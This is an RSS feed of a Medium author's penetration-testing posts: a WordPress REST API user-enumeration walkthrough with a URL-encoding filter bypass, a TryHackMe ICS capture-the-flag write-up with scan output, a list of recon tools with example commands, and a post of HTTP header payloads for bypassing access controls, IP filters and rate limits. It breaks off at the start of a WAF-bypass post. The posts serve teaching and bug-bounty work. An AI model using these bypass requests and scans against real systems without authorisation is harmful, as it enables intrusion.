<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by gasmask on Medium]]></title>
        <description><![CDATA[Stories by gasmask on Medium]]></description>
        <link>https://medium.com/@gasmask?source=rss-84b8c41953f2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eNm7YqCwAd9kH8W8dtwCzg.gif</url>
            <title>Stories by gasmask on Medium</title>
            <link>https://medium.com/@gasmask?source=rss-84b8c41953f2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 11:40:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gasmask/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[User Enumeration via WordPress REST API: A Security Testing Walkthrough]]></title>
            <link>https://medium.com/@gasmask/user-enumeration-via-wordpress-rest-api-a-security-testing-walkthrough-17a6517d3934?source=rss-84b8c41953f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/17a6517d3934</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[gasmask]]></dc:creator>
            <pubDate>Fri, 06 Mar 2026 05:45:37 GMT</pubDate>
            <atom:updated>2026-03-06T05:46:40.299Z</atom:updated>
            <content:encoded><![CDATA[<p>During a web application penetration test, identifying valid usernames is often the first step toward deeper attacks such as password brute-forcing, credential stuffing, or targeted phishing.</p><p>While testing a WordPress-based application, I discovered that the <strong>WordPress REST API endpoint exposed registered users</strong>, including accounts that were not publicly visible on the website.</p><p>This article explains how the enumeration works and why it can become a security concern.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPEzBTYE2-Oyska45kfYXw.png" /></figure><h3>I. Understanding the WordPress REST API</h3><p>Modern WordPress installations expose a REST API that allows applications to interact with the website programmatically.</p><p>This API is located under the path:</p><pre>/wp-json/</pre><p>One of the available endpoints is:</p><pre>/wp-json/wp/v2/users</pre><p>This endpoint is designed to return information about users registered on the site.</p><p>If not properly restricted, it can allow <strong>unauthenticated attackers to enumerate valid usernames</strong>.</p><h3>II. The Discovered Endpoints</h3><p>During testing, two working endpoints were identified:</p><pre>https://example.com/wp-json/wp/v2/users</pre><p>and</p><pre>https://example.com/?rest_route=/wp/v2/users</pre><p>The second format uses WordPress’s <strong>REST routing mechanism</strong>, which allows API endpoints to be accessed through query parameters.</p><p>Both endpoints returned a JSON response containing user information.</p><p>Example response structure:</p><pre>[<br>  {<br>    &quot;id&quot;: 1,<br>    &quot;name&quot;: &quot;Administrator&quot;,<br>    &quot;slug&quot;: &quot;admin&quot;,<br>    &quot;link&quot;: &quot;https://example.com/author/admin/&quot;<br>  }<br>]</pre><p>Key exposed fields included:</p><ul><li>User ID</li><li>Display name</li><li>Username slug</li><li>Author profile URL</li></ul><h3>III. Bypassing URL Filters</h3><p>In my case, security controls attempted to block direct access to the REST endpoint.</p><p>However, encoding the path allowed access:</p><pre>https://example.com/wp-json%2fwp%2fv2%2fusers</pre><p>Here, the / characters are <strong>URL-encoded</strong>, which bypassed simple filtering mechanisms.</p><p>If the server decodes the request before routing it, the endpoint still resolves successfully.</p><h3>IV. Why This Matters</h3><p>User enumeration alone is usually classified as <strong>low to medium severity</strong>, but it can significantly aid attackers in later stages.</p><p>Potential risks include:</p><h4>1. Targeted Password Attacks</h4><p>Once valid usernames are identified, attackers can attempt:</p><ul><li>Password spraying</li><li>Credential stuffing</li><li>Brute-force login attempts</li></ul><p>against the WordPress login page.</p><h4>2. Social Engineering</h4><p>Knowing administrator or staff usernames can help attackers craft <strong>more convincing phishing attacks</strong>.</p><h4>3. Information Disclosure</h4><p>Even limited data such as:</p><ul><li>Usernames</li><li>Display names</li><li>Author profiles</li></ul><p>can reveal internal naming conventions or privileged accounts.</p><h3>V. Verifying Hidden Users</h3><p>During testing, the endpoint returned users who were not publicly listed on the website.</p><p>This means that even accounts without visible author pages can sometimes be discovered via the API.</p><p>Such exposure increases the attack surface by revealing <strong>accounts that administrators may assume are private</strong>.</p><h3>VI. Mitigation</h3><h4>1. Restrict the Users Endpoint</h4><p>Disable public access to the REST API users endpoint.</p><h4>2. Disable Author Enumeration</h4><p>Block requests that attempt to enumerate users through author IDs or REST endpoints.</p><h4>3. Limit Login Attempts</h4><p>Even if usernames become known, login protection mechanisms can reduce the risk of brute-force attacks.</p><h4>4. Security Plugins</h4><p>Plugins can restrict REST API access or limit the data returned to unauthenticated users.</p><h3>Conclusion</h3><p>WordPress REST API functionality can unintentionally expose sensitive information if left unrestricted. While user enumeration may seem minor, it often becomes the <strong>first step in a larger attack chain</strong>. Security testers should always review exposed API endpoints and verify whether they disclose internal user information.</p><p><em>Stay tuned for our upcoming posts on Web Application Pentesting!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17a6517d3934" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Walkthrough: Industrial Intrusion — Task 3 “BREACH”]]></title>
            <link>https://medium.com/@gasmask/ctf-walkthrough-industrial-intrusion-task-3-breach-1bd7c9894c89?source=rss-84b8c41953f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/1bd7c9894c89</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[operational-technology]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[access-control]]></category>
            <dc:creator><![CDATA[gasmask]]></dc:creator>
            <pubDate>Thu, 26 Jun 2025 17:02:32 GMT</pubDate>
            <atom:updated>2025-06-27T12:44:08.556Z</atom:updated>
            <content:encoded><![CDATA[<h3>CTF Walkthrough: Industrial Intrusion — Task 3 “BREACH”</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*y5Lvn3EttdxAa5XGtgIUqQ.png" /></figure><p>In Task 3 of TryHackMe’s <em>Industrial Intrusion</em> room, we breach a simulated ICS environment using only port scans, basic enumeration, and logic flaws in exposed control panels. We discover and manipulate a Node-RED dashboard to flip an access gate and reveal the flag — all without touching a single exploit script.</p><h3>🕵️ Step 1: Reconnaissance with Nmap &amp; RustScan</h3><p>I started the investigation with a basic Nmap scan to identify open ports on the target machine:</p><pre>nmap -A 10.10.9.223</pre><p>This revealed only the following ports:</p><pre>Starting Nmap 7.97 ( https://nmap.org ) at 2025-06-26 21:28 +0530<br>Stats: 0:00:18 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan<br>Connect Scan Timing: About 37.60% done; ETC: 21:29 (0:00:30 remaining)<br>Nmap scan report for 10.10.9.223<br>Host is up (0.17s latency).<br>Not shown: 997 closed tcp ports (conn-refused)<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 c6:40:72:86:af:23:f7:a9:52:56:4d:03:ef:e0:a8:ee (ECDSA)<br>|_  256 9c:7f:0d:5c:7a:e5:07:1a:ae:31:e3:bf:ec:cd:38:40 (ED25519)<br>80/tcp   open  http    Werkzeug httpd 3.1.3 (Python 3.12.3)<br>|_http-title: Gate Monitor<br>|_http-server-header: Werkzeug/3.1.3 Python/3.12.3<br>8080/tcp open  http    Werkzeug httpd 2.3.7 (Python 3.12.3)<br>| http-title: Site doesn&#39;t have a title (text/html; charset=utf-8).<br>|_Requested resource was /login<br>|_http-server-header: Werkzeug/2.3.7 Python/3.12.3<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 57.50 seconds</pre><p>That felt suspicious. ICS systems often use ports outside the traditional HTTP/SSH ranges. So I brought in the big guns — <strong>RustScan</strong>, which is faster and more aggressive in port scanning:</p><pre>rustscan -a 10.10.9.223 -r 1-10000</pre><p>This uncovered <strong>additional hidden ports</strong>:</p><pre>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: http://discord.skerritt.blog         :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>I scanned ports so fast, even my computer was surprised.<br><br>[~] The config file is expected to be at &quot;/Users/galvin/.rustscan.toml&quot;<br>[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers<br>[!] Your file limit is very small, which negatively impacts RustScan&#39;s speed. Use the Docker image, or up the Ulimit with &#39;--ulimit 5000&#39;. <br>Open 10.10.9.223:22<br>Open 10.10.9.223:80<br>Open 10.10.9.223:102<br>Open 10.10.9.223:502<br>Open 10.10.9.223:1880<br>Open 10.10.9.223:8080<br>[~] Starting Script(s)<br>[~] Starting Nmap 7.97 ( https://nmap.org ) at 2025-06-26 21:37 +0530<br>Initiating Ping Scan at 21:37<br>Scanning 10.10.9.223 [2 ports]<br>Completed Ping Scan at 21:38, 0.19s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 21:38<br>Completed Parallel DNS resolution of 1 host. at 21:38, 0.50s elapsed<br>DNS resolution of 1 IPs took 0.51s. Mode: Async [#: 8, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]<br>Initiating Connect Scan at 21:38<br>Scanning 10.10.9.223 [6 ports]<br>Discovered open port 102/tcp on 10.10.9.223<br>Discovered open port 22/tcp on 10.10.9.223<br>Discovered open port 1880/tcp on 10.10.9.223<br>Discovered open port 80/tcp on 10.10.9.223<br>Discovered open port 8080/tcp on 10.10.9.223<br>Discovered open port 502/tcp on 10.10.9.223<br>Completed Connect Scan at 21:38, 0.34s elapsed (6 total ports)<br>Nmap scan report for 10.10.9.223<br>Host is up, received syn-ack (0.18s latency).<br>Scanned at 2025-06-26 21:38:00 IST for 0s<br><br>PORT     STATE SERVICE      REASON<br>22/tcp   open  ssh          syn-ack<br>80/tcp   open  http         syn-ack<br>102/tcp  open  iso-tsap     syn-ack<br>502/tcp  open  mbap         syn-ack<br>1880/tcp open  vsat-control syn-ack<br>8080/tcp open  http-proxy   syn-ack<br><br>Read data files from: /opt/homebrew/bin/../share/nmap<br>Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds</pre><p>Aha — now things were heating up.</p><h3>🌐 Step 2: Port Enumeration</h3><p>Here’s what I found across various ports:</p><ul><li><strong>Port 80</strong> — A simple page with text: Gate CLOSED</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gKuEGOlp3UA2wQ1MweZxXQ.png" /></figure><p><em>We can’t seem to find anything in the page source or in the requests managed by the webpage.</em></p><ul><li><strong>Port 8080</strong> — A login interface titled <strong>OpenPLC</strong>. This confirmed my suspicion of a simulated industrial control environment.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T5zJcw7al-ByucP8rmsl-Q.png" /></figure><p><em>Again, we couldn’t find anything interesting here (and couldn’t force any way to login to the server).</em></p><ul><li><strong>Port 1880</strong> — A live <strong>Node-RED</strong> flow page — the goldmine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*us_3iAeQXIu0nSF2Scgs-w.png" /></figure><p><em>This page seems very interesting, since it allows us to access and perform quite a lotta things.</em></p><h3>🧭 Step 3: Exploring Node-RED with FFUF</h3><p>I suspected Node-RED might expose additional admin paths or hidden directoried. So I used <strong>ffuf</strong> to enumerate accessible directories on port 1880:</p><pre>ffuf -u &quot;http://10.10.9.223:1880/FUZZ&quot; -w &quot;SecLists/Discovery/Web-Content/directory-list-2.3-big.txt&quot;</pre><p>We got some paths or directories:</p><pre>icons                   [Status: 200, Size: 966, Words: 1, Lines: 1, Duration: 184ms]<br>plugins                 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 211ms]<br>red                     [Status: 301, Size: 153, Words: 6, Lines: 11, Duration: 166ms]<br>theme                   [Status: 200, Size: 313, Words: 1, Lines: 1, Duration: 171ms]<br>vendor                  [Status: 301, Size: 156, Words: 6, Lines: 11, Duration: 229ms]<br>settings                [Status: 200, Size: 917, Words: 1, Lines: 1, Duration: 169ms]<br>ui                      [Status: 301, Size: 152, Words: 6, Lines: 11, Duration: 168ms]<br>Icons                   [Status: 200, Size: 966, Words: 1, Lines: 1, Duration: 176ms]<br>types                   [Status: 301, Size: 155, Words: 6, Lines: 11, Duration: 184ms]</pre><p>But one interesting path that stood out:</p><pre>ui</pre><p>Since we could infer that the <a href="https://flows.nodered.org/node/node-red-dashboard">Node-RED dashboard</a> is located under ui/ path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G5wtlQdVW6qBh2mo0t0FSg.png" /></figure><p>Navigating to http://10.10.9.223:1880/ui/ revealed a basic UI with <strong>two toggle buttons</strong> labeled:</p><ul><li><strong>Motion Detector</strong></li><li><strong>Badge</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gKoNhNgIq67Koc-lowKx3Q.png" /></figure><h3>🎯 Step 4: Triggering the Breach</h3><p>Without authenticating, I was able to <strong>interact with the UI controls</strong>.</p><p>I turned <strong>both buttons off</strong> and immediately refreshed the page at port 80 (http://10.10.9.223).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GceNFm0DPp03A-nxSvRikA.png" /></figure><p>And just like that…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eeUKEKxrNK5qeuVWOn9AZQ.png" /></figure><blockquote><em>🟢 </em><strong><em>Gate OPENED</em></strong><em><br>🏁 </em><strong><em>The flag was right there.</em></strong></blockquote><p>No brute force. No script. Just bad control logic and an exposed dashboard.</p><h3>🧠 Key Takeaways</h3><p>Vulnerability Description:</p><ul><li><strong>Insecure ICS UI Exposure — </strong>Node-RED dashboard was public and unprotected.</li><li><strong>Logic Flaws in Gate Control — </strong>UI changes directly altered system behavior with no auth check.</li><li><strong>Lack of Network Segmentation — </strong>ICS ports like 502 and 1880 should not be exposed to public networks.</li></ul><h3>🧩 Real-World Lessons</h3><p>This challenge simulated something very real: <strong>ICS/SCADA misconfigurations</strong>. In production systems, exposed Node-RED instances, open MQTT brokers, and poor control validation can lead to severe breaches — even physical process manipulation.</p><h3>🎓 Final Thoughts</h3><p>TryHackMe’s <em>Industrial Intrusion</em> room delivers a great introduction to ICS exploitation without diving into advanced exploits or fuzzing. Task 3 “BREACH” was a subtle and satisfying lesson in how <strong>small oversights</strong> — like a forgotten UI toggle — can lead to total system compromise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1bd7c9894c89" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Top 10 Underrated Tools in a Pentester’s Arsenal (2025 Edition)]]></title>
            <link>https://medium.com/@gasmask/top-10-underrated-tools-in-a-pentesters-arsenal-2025-edition-568568e5418f?source=rss-84b8c41953f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/568568e5418f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[beginner]]></category>
            <dc:creator><![CDATA[gasmask]]></dc:creator>
            <pubDate>Thu, 10 Apr 2025 11:19:59 GMT</pubDate>
            <atom:updated>2025-04-10T11:19:59.903Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G4D1tRRHgJjlCoZlXGx4Jg.jpeg" /><figcaption>Image by DC Studio on <a href="https://www.freepik.com/free-photo/cybercriminal-using-ai-machine-learning-develop-zero-day-exploit_214462710.htm">Freepik</a></figcaption></figure><p>In the flashy world of cybersecurity, certain tools always steal the spotlight — Burp Suite, Nmap, Metasploit, etc. But lurking in the shadows are tools that quietly deliver <em>serious power</em> with far less recognition.</p><p>In this blog, we uncover 10 <strong>underrated but incredibly effective tools</strong> that deserve a spot in every pentester’s toolkit in 2025. Whether you’re on a bug bounty hunt or performing a red team op, these tools can give you an edge where the mainstream ones stop short.</p><p>We’ve updated this list to reflect <strong>2025-relevant tools</strong>, focusing on projects that are either actively maintained, newly released or recently adopted in the bug bounty and red team scenes.</p><h3>1. Subzy</h3><p><strong>Category:</strong> Subdomain Takeover Detection<br><strong>Link:</strong> <a href="https://github.com/LukaSikic/subzy">https://github.com/LukaSikic/subzy</a></p><p>➡️ <strong>Use Case:</strong> Detects and reports subdomains vulnerable to takeover by matching fingerprints with cloud service patterns.</p><p>➡️ <strong>2025 Relevance:</strong> Still widely used in automation pipelines for recon; community-maintained and updated with newer cloud platform fingerprints.</p><h3>2. Interlace</h3><p><strong>Category:</strong> Automation / Recon<br><strong>Link:</strong> <a href="https://github.com/codingo/Interlace">https://github.com/codingo/Interlace</a></p><p>Interlace lets you parallelize any command across multiple targets or subdomains. Great for chaining recon steps like ffuf, nuclei or httpx.</p><pre>interlace -tL targets.txt -c &quot;nmap -A _target_&quot;</pre><p>➡️ <strong>2025 Relevance:</strong> Still going strong. Gained fresh attention this year for use in distributed recon in multi-cloud environments.</p><h3>3. EyeWitness</h3><p><strong>Category:</strong> Visual Recon / Web<br><strong>Link:</strong> <a href="https://github.com/FortyNorthSecurity/EyeWitness">https://github.com/FortyNorthSecurity/EyeWitness</a></p><p>➡️ <strong>Use Case:</strong> Screenshots live web services and produces clickable reports.</p><pre>EyeWitness -f urls.txt --web</pre><p>➡️ <strong>2025 Relevance:</strong> Has gotten better with support for headless browsers and modern rendering quirks.</p><h3>4. Jaeles</h3><p><strong>Category:</strong> Web Scanning / Template Engine<br><strong>Link:</strong> <a href="https://github.com/jaeles-project/jaeles">https://github.com/jaeles-project/jaeles</a></p><p>➡️ <strong>Use Case:</strong> Write your own detection logic for edge-case scenarios and API bugs.</p><pre>jaeles scan -c config.yaml -s signatures/ -u https://target.com</pre><p>➡️ <strong>2025 Relevance:</strong> Template engine upgraded in late 2024; now integrates with headless scanning and Burp-compatible payloads.</p><h3>5. Netspy</h3><p><strong>Category:</strong> Internal Reconnaissance<br><strong>Link:</strong> <a href="https://github.com/ghostsecurity/reconet">https://github.com/ghostsecurity/reconet</a></p><p>➡️ <strong>Use Case:</strong> Internal enumeration in red team or post-exploitation scenarios. Think Netdiscover + custom asset tracking.</p><p>➡️ <strong>2025 Relevance:</strong> Trending in red team blogs for lateral movement and visibility in segmented networks.</p><h3>6. Gospider</h3><p><strong>Category:</strong> Web Crawling<br><strong>Link:</strong> <a href="https://github.com/jaeles-project/gospider">https://github.com/jaeles-project/gospider</a></p><p>➡️ <strong>Use Case:</strong> Discover JS endpoints, admin panels and hidden paths.</p><pre>gospider -s https://target.com -o out -c 5 -d 1</pre><p>➡️ <strong>2025 Relevance:</strong> Still fast, now with better support for dynamic JS and token-based redirects.</p><h3>7. DNSx</h3><p><strong>Category:</strong> DNS Enumeration<br><strong>Link:</strong> <a href="https://github.com/projectdiscovery/dnsx">https://github.com/projectdiscovery/dnsx</a></p><p>➡️ <strong>Use Case:</strong> Fast DNS validation after subdomain enumeration.</p><pre>dnsx -l subs.txt -r resolvers.txt -silent</pre><p>➡️ <strong>2025 Relevance:</strong> Remains vital, especially after Subfinder’s 2025 update boosted integration.</p><h3>8. Tunna</h3><p><strong>Category:</strong> Bypassing Firewalls / Web Shell Pivoting<br><strong>Link:</strong> <a href="https://github.com/SECFORCE/Tunna">https://github.com/SECFORCE/Tunna</a></p><p>➡️ <strong>Use Case:</strong> Tunnel over HTTP using a web shell when ports are blocked.</p><p>➡️ <strong>2025 Relevance:</strong> Experiencing a mini-revival in cloud-based WAF bypasses.</p><h3>9. Smuggler.py</h3><p><strong>Category:</strong> HTTP Request Smuggling<br><strong>Link:</strong> <a href="https://github.com/defparam/smuggler">https://github.com/defparam/smuggler</a></p><p>➡️ <strong>Use Case:</strong> Detect and exploit desync bugs in older or misconfigured servers.</p><pre>python3 smuggler.py -u https://target.com</pre><p>➡️ <strong>2025 Relevance:</strong> Recently updated with new attack techniques and backend fingerprinting.</p><h3>10. ParamSpider</h3><p><strong>Category:</strong> Web App Recon / Parameter Discovery<br><strong>Link:</strong> <a href="https://github.com/devanshbatham/ParamSpider">https://github.com/devanshbatham/ParamSpider</a></p><p>➡️ <strong>Use Case:</strong> Find hidden parameters. Combine with Burp and XSS payloads.</p><pre>python3 paramspider.py -d target.com --exclude jpg,css,js</pre><p>➡️ <strong>2025 Relevance:</strong> Still popular and now scriptable into fuzzing chains with tools like Arjun and Dalfox.</p><h3>✨ Bonus Mentions</h3><ul><li><a href="https://github.com/hahwul/dalfox"><strong>Dalfox</strong></a> — Great XSS scanner; recently added support for DOM-based filtering.</li><li><a href="https://github.com/assetnote/kiterunner"><strong>Kiterunner</strong></a> — Brute-force OpenAPI-based endpoints; had a major update in 2024.</li><li><a href="https://github.com/tomnomnom/unfurl"><strong>Unfurl</strong></a> — Breaks down URLs into components; useful in modern SSRF/URL-based logic.</li></ul><h3>🧠 Conclusion</h3><p>The big tools are great, but the real magic often lies in those offbeat, underrated utilities that others overlook. Mastering these 2025-relevant tools can give you fresh angles, deeper visibility and more creative exploitation paths.</p><p>Remember: it’s not about having <em>all</em> the tools, but knowing <em>when</em> and <em>how</em> to use the right one.</p><p>Happy hacking! 🐚</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=568568e5418f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty Edition 2025: Uncommon Headers That Bypass Everything]]></title>
            <link>https://medium.com/@gasmask/uncommon-headers-that-bypass-everything-almost-bug-bounty-edition-2025-9d2ea65b2076?source=rss-84b8c41953f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d2ea65b2076</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[gasmask]]></dc:creator>
            <pubDate>Wed, 09 Apr 2025 15:39:54 GMT</pubDate>
            <atom:updated>2025-04-12T17:43:21.581Z</atom:updated>
            <content:encoded><![CDATA[<p>In the ever-evolving world of web application security, defenders constantly strengthen their defenses with WAFs (Web Application Firewalls), reverse proxies and logic filters. But attackers — and bug bounty hunters like you — always find ways to sneak past. One underutilized method? <strong>HTTP headers.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kld8RKRjrouhdp4gWNFmBQ.jpeg" /><figcaption>Image by storyset on <a href="https://www.freepik.com/free-vector/software-tester-concept-illustration_33533011.htm">Freepik</a></figcaption></figure><p>Web servers, CDNs, proxies and internal app logic often parse headers differently, creating the perfect environment for bypasses. In this post, we’ll dive deep into uncommon HTTP headers that can help you:</p><ul><li>Bypass authentication</li><li>Trick routing mechanisms</li><li>Gain access to admin portals</li><li>And even bypass IP filtering, 2FA and more.</li></ul><p>These aren’t your typical User-Agent or Referer tricks. We&#39;re talking stealth-level headers rarely covered in standard security training.</p><h3>🕵️‍♂️ The Unusual Suspects — Headers You Should Be Testing</h3><h3>1. X-Original-URL</h3><p><strong>Use case:</strong> Bypassing access controls or routing rules.</p><p>Originally used by Microsoft’s IIS, this header can be interpreted by internal proxies or apps to override the request path.</p><pre>GET /admin HTTP/1.1<br>Host: target.com<br>X-Original-URL: /public</pre><p>This may serve public content despite /admin in the path.</p><h3>2. X-Rewrite-URL</h3><p><strong>Use case:</strong> Similar to X-Original-URL, primarily useful against IIS-based systems or load balancers.</p><pre>GET /admin HTTP/1.1<br>X-Rewrite-URL: /index.php</pre><h3>3. X-Forwarded-Host</h3><p><strong>Use case:</strong> Bypassing domain-based access restrictions.</p><p>Some apps check the Host header, but WAFs or reverse proxies might inspect X-Forwarded-Host instead.</p><pre>GET / HTTP/1.1<br>Host: target.com<br>X-Forwarded-Host: internal.target.com</pre><p>Can also trigger SSRF if host-based restrictions are in place.</p><h3>4. X-Forwarded-Scheme</h3><p><strong>Use case:</strong> Confusing routing logic that depends on HTTP vs HTTPS.</p><pre>X-Forwarded-Scheme: http</pre><p>If an application enforces HTTPS by logic, this can override that.</p><h3>5. X-HTTP-Method-Override</h3><p><strong>Use case:</strong> Changing the HTTP verb server-side.</p><pre>POST /api/delete HTTP/1.1<br>X-HTTP-Method-Override: GET</pre><p>Can bypass restrictions that only allow GET methods.</p><h3>6. X-Client-IP / X-Real-IP</h3><p><strong>Use case:</strong> Bypassing IP filtering / rate-limiting.</p><pre>X-Client-IP: 127.0.0.1</pre><p>This may trick the application into thinking the request comes from localhost.</p><h3>7. Forwarded:</h3><p><strong>Use case:</strong> Same as above but more standardized.</p><pre>Forwarded: for=127.0.0.1;proto=http;by=203.0.113.43</pre><p>Apps using strict header parsing might honor this more than others.</p><h3>8. X-Host / Host Overriding</h3><p><strong>Use case:</strong> Host header attacks and SSRF.</p><pre>X-Host: admin.target.com</pre><p>May redirect internal traffic if not properly filtered.</p><h3>9. X-Custom-IP-Authorization</h3><p><strong>Use case:</strong> Seen in legacy apps that check this for admin access.</p><pre>X-Custom-IP-Authorization: 127.0.0.1</pre><h3>10. X-Original-Method</h3><p><strong>Use case:</strong> Rare but used in method override situations.</p><pre>X-Original-Method: DELETE</pre><p>Useful where reverse proxies filter methods but origin app reads from this.</p><h3>🧪 Lab Time: Try It Yourself</h3><p>Set up a reverse proxy (e.g., NGINX or HAProxy) and a backend app that interprets headers. Play with route matching and auth rules.</p><p>Or use a deliberately vulnerable app like:</p><ul><li>DVWA</li><li>OWASP Juice Shop</li><li>Custom apps behind a WAF (ModSecurity)</li></ul><p>Use tools like:</p><pre>curl -H &quot;X-Original-URL: /index&quot; https://target.com/admin</pre><p>Or automate via Burp Intruder / Repeater.</p><h3>🛡️ Defending Against These Tricks</h3><ul><li>Don’t rely on headers for logic enforcement unless sanitized.</li><li>Drop suspicious headers at the proxy layer.</li><li>Implement zero-trust routing — validate at origin, not at edge.</li><li>Use normalized logging to track manipulated headers.</li></ul><h3>💰 Real Bug Bounty Wins</h3><ol><li><strong>SSRF via </strong><strong>X-Forwarded-Host Header in Yandex</strong></li></ol><ul><li><strong>Researcher:</strong> Momen Ali (a.k.a. ‘theCyberGuy’)​</li><li><strong>Vulnerability:</strong> Ali discovered a Server-Side Request Forgery (SSRF) vulnerability in Yandex by injecting the X-Forwarded-Host HTTP header. This misconfiguration allowed unauthorized requests to internal services.</li><li><strong>Reference: </strong><a href="https://portswigger.net/daily-swig/security-researcher-earns-plaudits-after-discovering-yandex-ssrf-flaw"><strong>PortSwigger</strong></a></li></ul><p><strong>2. Rate Limit Bypass via </strong><strong>X-Forwarded-For Header Manipulation</strong></p><ul><li><strong>Researcher:</strong> syedshahwar_shah​</li><li><strong>Vulnerability:</strong> By manipulating the X-Forwarded-For header on the registration page of YNAB, the researcher was able to bypass rate limiting protections.​</li><li><strong>Reference: </strong><a href="https://bugcrowd.com/disclosures/cbfab16a-2b3e-4a65-bf64-0e003c7c6ea7/rate-limit-bypass-via-x-forwarded-for-header-manipulation-on-registration-page"><strong>BugCrowd</strong></a></li></ul><p><strong>3. SSRF in Dropbox via </strong><strong>X-Forwarded-For Header</strong></p><ul><li><strong>Researcher:</strong> Kumar Saurabh​</li><li><strong>Vulnerability:</strong> Saurabh identified a critical SSRF vulnerability in Dropbox, where the X-Forwarded-For header could be manipulated to make unauthorized HTTP GET requests to internal endpoints.​</li><li><strong>Reference: </strong><a href="https://dropbox.tech/security/bug-bounty-program-ssrf-attack"><strong>Dropbox</strong></a></li></ul><blockquote>You maybe interested in my new story:<br><a href="https://medium.com/@gasmask/top-10-underrated-tools-in-a-pentesters-arsenal-2025-edition-568568e5418f">Top 10 underrated Bug Bounty tools in a pentester’s arsenal</a></blockquote><h3>🔚 Conclusion</h3><p>Bug bounty programs often overlook edge cases, especially around HTTP headers. If you go beyond the basics and experiment with how the app handles alternate headers, you may find yourself bypassing everything — or almost everything.</p><blockquote>Start small. Document everything.</blockquote><blockquote>And always test headers you’ve never used before.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d2ea65b2076" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing WAFs in 2025: New Techniques and Evasion Tactics]]></title>
            <link>https://medium.com/@gasmask/bypassing-wafs-in-2025-new-techniques-and-evasion-tactics-fdb3508e6b46?source=rss-84b8c41953f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdb3508e6b46</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
